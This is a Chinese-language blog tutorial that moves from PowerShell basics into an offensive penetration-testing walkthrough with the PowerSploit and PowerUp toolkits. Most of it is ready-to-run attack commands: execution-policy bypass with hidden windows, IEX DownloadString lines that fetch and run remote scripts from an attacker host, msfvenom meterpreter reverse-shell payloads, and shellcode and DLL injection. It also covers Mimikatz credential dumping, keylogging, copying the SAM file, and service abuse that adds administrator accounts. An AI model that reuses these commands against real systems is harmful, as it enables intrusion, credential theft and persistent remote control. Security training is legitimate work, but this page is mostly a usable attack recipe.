Windows powershell是一种命令行外壳程序和脚本环境,它内置在win7以上版本的操作系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。powershell程序可以直接在内存中运行,可以作为命令提示符cmd.exe的扩充。
查看powershell版本信息
Get-Host 或者 $PSVersionTable.PSVersion
基本概念
1. .ps1文件
一个powershell 脚本其实就是一个包含了多个powershell命令的简单的文本文件,每个命令显示为独立的一行。
2.执行策略
为防止恶意脚本的运行,powershell 有一个执行策略,默认情况下该执行策略被设置为受限。
在powershell 脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。
Get-ExecutionPolicy
Restricted: 脚本不能运行(默认设置)
RemoteSigned: 本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字签名的除外)
AllSigned: 仅当脚本由受信任的发布者签名时才能运行
Unrestricted: 允许所有的script脚本运行
通过以下cmdlet可以设置Powershell的执行策略
Set-ExecutionPolicy <policy nmae>
3.运行脚本
C:\test\1.ps1
.\2.ps1
4.管道
前一个命令的输出作为后一个命令的输入
假设需要停止目前所有以“p”开头的程序
get-process p* | stop-process
一、基本命令
以文件操作为例
1.新建目录
New-Item whitecellclub-ItemType Directory
2.新建文件
New-Item light.txt-ItemType File
3.删除目录
Remove-Item whitecellclub
4.显示文件内容
Get-Content test.txt
5.设置文本内容
Set-Content test.txt-Value"Hello World!"
6.追加内容
Add-Content light.txt-Value"i love you"
7.清除内容
Clear-Content test.txt
二、执行策略
获取执行策略
Get-ExecutionPolicy
策略分以下几种:
Restricted: 脚本不能执行(默认)
RemoteSigned: 本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
AllSigned: 仅当脚本由受信任的发布者签名时才能运行。
Unrestricted: 允许所有的script运行
可以使用如下命令格式设置PowerShell的执行策略
Set-ExecutionPolicy <Policy name>
命令行下输入powershell进入powershell命令行,输入help查看帮助信息。
三、绕过策略来执行脚本
如果要运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以,在渗透时,需要采用一些方法绕过策略来执行脚本
1.绕过本地权限执行
上传xxx.ps1到目标服务器,在CMD环境下,在目标服务器本地执行该脚本
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
2.本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File xxx.ps1
3.用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Nonl IEX (New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
以上命令的参数说明:
ExecutionPolicy Bypass : 绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
WindowStyle Hidden : 隐藏窗口
NoLogo : 启动不显示版权标志的PowerShell
NonInteractive (-Nonl) : 非交互模式,Po
werShell不为用户提供交互的提示
NoProfile (-Nop): PowerShell控制台不加载当前用户的配置文件
Noexit : 执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
PowerShell脚本在默认情况下无法直接运行,这时就可以使用上述三种方法绕过安全策略,运行PowerShell脚本。
PowerSploit
- 安装
在浏览器输入 192.168.190.133:8080 即可看到PowerSploit各模块
- 各模块功能
- AntivirusBypass #发现杀毒软件的查杀特征
- CodeExecution #在目标主机上执行代码
- Exfiltration #目标主机上的信息收集工具
- Mayhem #蓝屏等破坏工具
- Persistence #后门脚本(持久性控制)
- Recon #以目标主机为跳板,进行内网信息侦查
- ScriptModification #在目标主机上创建或修改脚本
PowerSploit脚本攻击实战
Invoke-Shellcode – 常用于将ShellCode插入指定的进程ID或本地PowerShell中
(1). Invoke-Shellcode
1.启用后门模块exploit/multi/handler,并选择payload
windows/meterpreter/reverse_tcp
2.生成一个PowerShell脚本木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.190.133 lport=1521 -f powershell -o /root/test
3.在目标机器上下载脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
# 查找指定文件
Get-ChildItem C:\Windows\system32\ -Include "Invoke-Shellcode.ps1" -recurse
-Include:指定文件的扩展名 如果查找所有的txt,命令中输入“*.txt”
-recurse:设定查询方式
4.下载木马
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/test")
5.执行木马
Invoke-Shellcode -Shellcode ($buf) -Force
成功获得session
(2)注入进程
下载脚本以及木马
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/test")
- 查看当前进程
Get-Process 或 ps
- 创建一个名为notepad的新进程,并设置为隐藏
- 要记住我们的进程号,可以看到我这里记事本的进程为3516
Start-Process C:\Windows\system32\notepad.exe -WindowStyle Hidden
- 使用Invoke-Shellcode脚本注入
Invoke-Shellcode -ProcessID 3516 -Shellcode($buf) -Force
反弹成功!
(3).dll注入
Invoke-DLLInjection – DLL注入脚本
1.首先下载脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
2.生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.190.133 lport=1521 -f dll -o /root/test.dll
3.下载dll文件
# dll 无法通过这种方式进行下载
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/test.dll")
我们通过web将dll 传输到目标主机
3.注入到现有的进程中
Invoke-DllInjection -ProcessID 2312 -Dll .\test.dll
(4)Invoke-Portscan – 端口扫描
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Recon/Invoke-Portscan.ps1")
用法:
Invoke-Portscan -Hosts 192.168.190.133,192.168.190.140 -Ports "80,22,3389"
(5)Invoke-Mimikatz – 获取Hash
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds
(6)Get-Keystrokes – 记录键盘
下载ps1:
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
使用方法:
Get-Keystrokes -LogPath + <保存位置>
(7):Invoke-NinjaCopy-万能复制
可以用来复制一些系统无法复制的文件,如SAM文件。
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1")
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\Users\Administrator\Desktop\SAM"
PowerUp攻击模块
是Privesc模块下的脚本,拥有众多用来寻找目标主机windows服务漏洞进行提权的使用脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Privesc/PowerUp.ps1")
1.加载脚本
Import-Module .\PowerUp.ps1
2.常用模块
Invoke-AllChecks #自动执行PowerUp下所有的脚本来检查目标主机
命令:Invoke-AllChecks
由于输出内容较多,可以将结果导出分析
Find-PathDllHijack #检查当前%PATH%的哪些目录是用户可以写入的
命令:Find-PathDllHijack
Get-ApplicationHost #利用系统上的application.config文件恢复加密过的应用池和虚拟目录的密码
命令:Get-ApplicationHost
Get-Application | Format-Table –Autosize #列表显示
Get-RegistryAlwaysInstallElevated #检测AlwaysInstallElevated注册表是否被设置,如果被设置,意味着MSI文件是以SYSTEM权限运行的
命令:Get-RegistryAlwaysInstallElevated
Get-RegistryAutoLogon #检测windows注册表的AutoAdminLogon项有没有被设置,可查询被设置默认的用户名密码
命令:Get-RegistryAutoLogon
Get-ServiceDetail #返回某服务的信息
命令:Get-ServiceDetail –ServiceName DHCP #获取DHCP服务详细信息
Get-ServiceFilePermission #检测当前用户能够在哪些服务的目录写入相关的可执行文件(可以通过这些文件提权)
命令:Get-ServiceFilePermission
Test-ServiceDaclPermission #检测所有可用的服务,并尝试对这些打开的服务进行修改(若可修改,返回服务对象)
命令:Test-ServiceDaclPermission
Get-ServiceUnquoted #用于检查服务路径,返回包含空格但不带引号的服务路径
命令:Get-ServiceUnquoted
Get-UnattendedInstallFile #检查以下路径,查找是否存在这些文件(文件中可能包含部署凭据)
- C:\sysprep\sysprep.xml
- C:\sysprep\sysprep.inf
- C:\sysprep.inf
- C:\Windows\Panther\Unattended.xml
- C:\Windows\Panther\Unattend\Unattended.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unatten\Unattend.xml
- C:\Windows\System32\Sysprep\unattend.xml
- C:\Windows\System32\Sysprep\Panther\unattend.xml
命令:Get-UnattendedInstallFile
Get-ModifiableRegistryAutoRun #检查开机自启动的应用程序路径和注册表键值,返回当前用户可修改的程序路径
命令:Get-ModifiableRegistryAutoRun
Get-ModifiableScheduledTaskFile #返回当前用户能够修改的计划任务程序的名称和路径
命令:Get-ModifiableScheduledTaskFile
Get-Webconfig #返回当前服务器上web.config文件中的数据库连接字符串的明文
命令:Get-Webconfig
Invoke-ServiceAbuse #修改服务来添加用户到指定组,并可以通过设置- Command参数触发添加用户的自定义命令
命令:Invoke-ServiceAbuse -ServiceName VulnSVC #添加默认账号
Invoke-ServiceAbuse -ServiceName VulnSVC -UserName “..” #指定添加的域账号
Invoke-ServiceAbuse -ServiceName VulnSVC -UserName <> -Password <> -LocalGroup “Administrator” #添加指定用户,密码到指定组
Invoke-ServiceAbuse -ServiceName VulnSVC -Command “..” #自定义执行命令
Restore-ServiceBinary #恢复服务的可执行文件到原始目录
命令:Restore-ServiceBinary -ServiceName VulnSVC
Test-ServiceDaclPermission #检查某个用户是否在服务中有自由访问控制的权限,结果返回布尔类型
命令:Test-ServiceDaclPermission -ServiceName VulnSVC
Write-HijackDll #输出一个自定义命令且能够自我删除的bat文件到$env:Temp\debug.bat,并输出一个能够启动这个bat文件的DLL
Write-UserAddMSL #生成一个安装文件,运行这个安装文件后会反弹添加用户的对话框
命令:Write-UserAddMSL
Write-ServiceBinary #用于预编译C#服务的可执行文件,默认创建一个管理员账号,可以通过Command自定义命令
命令:Write-ServiceBinary –ServiceName VulnSVC #添加默认账号
Write-ServiceBinary –ServiceName VulnSVC –UserName “..” #指定添加域账号
Write-ServiceBinary –ServiceName VulnSVC –UserName <> -Password <> #指定添加用户,密码到指定组
Write-ServiceBinary –ServiceName VulnSVC –Command “..” #自定义执行命令
Install-ServiceBinary #通过Write-ServiceBinary写一个C#的服务来添加用户,基本用法与Write-ServiceBinary相同
区别是,前者生成可执行文件,后者直接安装服务
- 在PowerShell中使用curl(Invoke-WebRequest)
前言 习惯了windows的界面模式就很难转去命令行,甚至以命令行发家的git也涌现出各种界面tool.然而命令行真的会比界面快的多,如果你是一个码农. situation:接到需求分析bug,需要访 ...
- Windows 7上执行Cake 报错原因是Powershell 版本问题
在Windows 7 SP1 电脑上执行Cake的的例子 http://cakebuild.net/docs/tutorials/getting-started ,运行./Build.ps1 报下面的 ...
- <译>通过PowerShell工具跨多台服务器执行SQL脚本
有时候,当我们并没有合适的第三方工具(大部分需要付费)去管理多台数据库服务器,那么如何做最省力.省心呢?!Powershell一个强大的工具,可以很方便帮到我们处理日常的数据库维护工作 .简单的几步搞 ...
- 利用PowerShell复制SQLServer账户的所有权限
问题 对于DBA或者其他运维人员来说授权一个账户的相同权限给另一个账户是一个很普通的任务.但是随着服务器.数据库.应用.使用人员地增加就变得很枯燥乏味又耗时费力的工作.那么有什么容易的办法来实现这个任 ...
- PowerShell 数组以及XML操作
PowerShell基础 PowerShell数组操作 将字符串拆分成数据的操作 cls #原始字符串 $str = "abc,def,ghi,mon" #数据定义 #$StrAr ...
- linux下mono,powershell安装教程
1简介 简单来说pash就是bash+powershell 2官网 https://github.com/Pash-Project/Pash 3下载fedora20---lxde桌面---32位版. ...
- Windows下PowerShell监控Keepalived
一.背景 某数据库服务器为CentOS,想要监控Keepalived的VIP是否有问题,通过邮件进行报警,但这台机器不能上外网,现在只能在Windows下通过PowerShell来完成发邮件预警. 二 ...
- 使用PowerShell收集多台服务器的性能计数器
写在前面 当管理多台Windows Server服务器时(无论是DB.AD.WEB以及其他的应用服务器),当出现性能或其他问题后,参阅性能计数器都是一个非常好的维度从而推测出问题可能出现的原因 ...
- 野路子出身PowerShell 文件操作实用功能
本文出处:http://www.cnblogs.com/wy123/p/6129498.html 因工作需要,处理一批文件,本想写C#来处理的,后来想想这个是PowerShell的天职,索性就网上各种 ...
- 使用PowerShell 监控运行时间和连接情况
概念 Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境.你可以把它看成是命令行提示符cmd.exe的扩充,不对,应当是颠覆. powershell需要.N ...
随机推荐
- SpringBoot使用注解的方式构建Elasticsearch查询语句,实现多条件的复杂查询
背景&痛点 通过ES进行查询,如果需要新增查询条件,则每次都需要进行硬编码,然后实现对应的查询功能.这样不仅开发工作量大,而且如果有多个不同的索引对象需要进行同样的查询,则需要开发多次,代码复 ...
- jquery插件之poshytip
Poshy Tip 是一个强大的jQuery 工具提示插件,拥有不同的外观.作为 Form Tooltips使用时,可以自定义气泡出现的位置. 导入插件: <script type=" ...
- Nacos配置服务原理
Nacos Client配置机制 spring加载远程配置 在了解NACOS客户端配置之前,我们先看看spring怎么样加载远程配置的.spring 提供了加载远程配置的扩展接口 PropertySo ...
- 讲解开源项目:让你成为灵魂画手的 JS 引擎:Zdog
本文作者:HelloGitHub-kalifun HelloGitHub 的<讲解开源项目>系列,项目地址:https://github.com/HelloGitHub-Team/Arti ...
- Winform中使用FastReport实现自定义PDF打印预览
场景 Winform中使用FastReport实现简单的自定义PDF导出: https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/1009 ...
- 在Typora中使用Markdown
在Typora中使用Markdown 记:准备正式开始在博客园写博客,故学习Markdown语法,为写博客做好准备.以前也在CSDN写过一些,但广告太多,个人更喜欢博客园的简洁. 1. 标题 (#)标 ...
- 如何使用rsync备份
已知3台服务器主机名分别为web01.backup .nfs主机信息见下表: 角色 外网IP(NAT) 内网IP(LAN) 主机名 WEB eth0:10.0.0.7 eth1:172.16.1.7 ...
- 01 (H5*) Vue第一天
目录 1:什么是Vue.js 2:MVC和MVVM. 3:为什么要学习前段框架 4:框架和库的区别 5:怎么使用Vue. 6:常见的Vue指令 7: 五大事件修饰符 8:在vue中使用class样式 ...
- 59 (OC)* atomic是否绝对安全
场景:如今项目中有这样一个场景,在一个自定义类型的Property在一个线程中改变的同时也要同时在另一个线程中使用它,使我不得不将Property定义成atomic,但是由此发现atomic并不会保证 ...
- DataGuard开启failover
1.修改保护模式 DGMGRL> edit configuration set protection mode as maxAvailability; Succeeded. 2.修改日志同步方式 ...